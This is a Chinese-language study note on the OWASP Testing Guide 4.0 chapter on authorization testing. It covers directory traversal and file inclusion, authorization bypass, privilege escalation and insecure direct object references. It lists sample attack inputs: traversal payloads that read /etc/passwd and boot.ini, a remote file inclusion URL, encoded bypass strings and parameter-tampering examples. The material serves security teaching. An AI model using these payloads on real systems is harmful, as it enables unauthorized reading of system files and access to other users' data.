《安全测试指南》——授权测试【学习笔记】
【授权测试】
*部分括号内容均为个人理解 。
1. 目录遍历 / 文件包含测试(OTG-AUTHZ-001)
测试方法:
1)黑盒测试
<输入向量枚举>
·是否存在用于文件操作的请求参数?
·是否有异常的文件扩展名?
·是否存在有趣的变量名称?(http://x.com/a/jsp?item=test.html ;http://x.com/a.php?file=content;http://x.com/main.cgi?home=index.htm)
·是否可以确定web应用通过cookie动态生成页面内容?(cookie: ID = d0eqrq90qweqwe;USER=1929129ad;PSTYTLE=GreenDotRed)
<测试技术>
【对IIS Web服务器请求 /etc/passwd 是毫无意义的】
测试实例:
http://test.com/getUserprofile.jsp?item=../../../../../etc/passwd
cookie:
Cookie: USER=1929129ad;PSTYTLE=../../../etc/passwd
包含外部网站文件和脚本:
http://test.com/index.php?file=http://www.owasp.org/malicioustxt
不使用任何路径遍历字符的情况下,显示CGI组件的源代码:
http://test.com/main.cgi?home=main.cgi
main.cgi组件与HTML静态文件处于相同的文件夹。可尝试用特殊字符(“.” dot, "%00" null)绕过文件扩展名控制。
操作系统路径分隔符:
Unix: root directory: "/" directory separator: "/"
Windows OS Shell: root directory: "<drive letter>:\" directory separator: "\" or "/"
Mac OS: root directory: "<drive letter>:" directory separator: ":
URL 编码和双重URL编码绕过:
../ → %2e%2e%2f 、 %2e%2e/ 、 ..%2f
..\ → %2e%2e%5c 、 %2e%2e\ 、..%5c 、..%255c
Windows shell中的绕过:
file.txt...
file.txt<spaces> (Windows API:在任意shell命令和api调用中,如果一个字符串被当做文件名解析,periods、spaces将被删除)
file.txt""""
file.txt<<<>>><
./././file.txt
nonexistant/../file.txt
Windows UNC:用于引用SMB共享文件。
\\server_or_ip\path\to\file.abc
\\?\server_or_ip\path\to\file.abc
Windows NT:索引Windows设备。
\\.\GLOBALROOT\Device\HarddiskVolume1\
索引设备上的第一个光盘驱动器。
\\.\CdRom0\
2)灰盒测试
代码审查:
PHP:include(),include_once(),require(),require_once(),fopen(),readfile()....
JSP/Servlet:java.io.File(),java.io.Fo;eReader() ....
ASP:include file,include virtual....
对于PHP,测试人员可使用:lang:php (include|require)(_once)?\s*[' " (]?\s*\$_(GET|POST|COOKIE)
代码例子:filename = Request.QueryString("file");
Replace(filename, "/","\");
Replace(filename, "..\"," ");
测试:file=....//....//boot.ini
file= ....\\....\\boot.ini
file=..\..\boot.ini
工具:DotDotPwn-The Directory Traversal Fuzzer
Path Traversal Fuzz Strings
2. 绕过授权模式测试(OTG-AUTHZ-002)
测试人员需注意:
·即使用户没有获得认证,是否仍然可以访问资源?(未经授权访问)
·是否在注销后仍可以访问资源?(会话未失效)
·是否可以访问其他角色和特权用户才能访问的功能和资源?(越权)
·一个本应被管理功能拒绝的用户角色,是否还能使用这些功能? (越权)
测试方法:
<测试管理功能>
非管理员用户尝试请求:http://test.com/admin/addUser.jsp
<测试分配给不同角色的资源>
一个应用使用公共文件夹为不同用户存储临时pdf文件。文件abc.pdf应该仅可被角色A的用户test1访问,测试角色B的用户能否访问该资源?
(越权调用临时存储的文件)
3. 权限提升测试(OTG-AUTHZ-003)(感觉还是有点与002重复了)
测试方法:
<角色/特权测试>
例子1:post参数:groupid=grp001&orderid=00001
是否可修改groupid和orderid的值来获得该授权数据。
例子2:响应内容:value=profile
是否将profile改为sysadmin就可以成为管理员的权限。
4. 不安全对象引用测试(OTG-AUTHZ-004)
通过修改用于直接检索对象的参数值,就可绕过授权对资源进行访问。
测试方法:
<直接用于检索数据库记录的参数> (修改数据id)
http://test.com/orderlist?order=12345
<用于在系统执行操作的参数> (修改用户id)
http://test.com/changepassword?user=test_1
<用于检索文件系统资源的参数> (修改文件id)
http://test.com/showimage?img=00001
<用于访问程序功能的参数> (修改功能菜单参数id)
http://test.com/accesspage?caidan=12
*本文仅为《安全测试指南4.0》一书的个人学习笔记